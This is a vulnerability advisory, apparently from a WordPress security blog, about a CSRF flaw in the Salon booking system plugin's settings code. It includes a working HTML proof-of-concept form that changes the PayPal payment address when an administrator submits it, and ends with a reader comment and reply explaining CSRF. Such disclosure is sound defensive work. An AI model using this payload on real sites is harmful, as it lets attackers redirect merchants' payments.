Cross-Site Request Forgery (CSRF)/Settings Change Vulnerability in Salon booking system
Recently while looking into something else we noticed the plugin Salon booking system has a cross-site request forgery (CSRF) vulnerability in its code to save the plugin’s settings, which could be used to change the PayPal account that payments through the plugin are sent.
The issue is due to the code that handle saving changes to the settings failing check to make sure that valid nonce is included with the request. That could allow an attacker that could get a logged in Administrator to visit a page they control, to change the settings. The form that is submitted actually contains a nonce, so the developer seemed to be aware of CSRF, but hasn’t properly implemented the protection. That lack of check occurs in the function show() and then the function for the particular settings, both located in the file /src/SLN/Admin/Settings.php
We notified the developer of the issue a week ago, we got an automated response that they would get back to us within 24 hours, but we have yet to hear back from them and the vulnerability hasn’t been fixed.
Proof of Concept
The following proof of concept will cause the PayPal account that payments go to, to be changed to test@example.com, when submitted as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=salon-settings&tab=payments" method="POST"> <input type="hidden" name="salon_settings[pay_enabled]" value="1" /> <input type="hidden" name="salon_settings[pay_method]" value="paypal" /> <input type="hidden" name="salon_settings[pay_paypal_email]" value="test@example.com" /> <input type="submit" name="submit" value="Update Settings" /> </form> </body> </html>
Timeline
- June 20, 2017 – Developer notified.
That could allow an attacker that could get a logged in Administrator to visit a page they control, to change the settings.
Sorry, I don’t understand the risk.
An attacker that could get logged in as an administrator can visit administration panel and do all he wants, with or without a csrf check.
In a cross-site request forgery (CSRF) vulnerability you cause someone else to an action they didn’t intend to. So the attacker would not be the one logged in, they would be causing someone else that is logged in to take an action they didn’t intend to.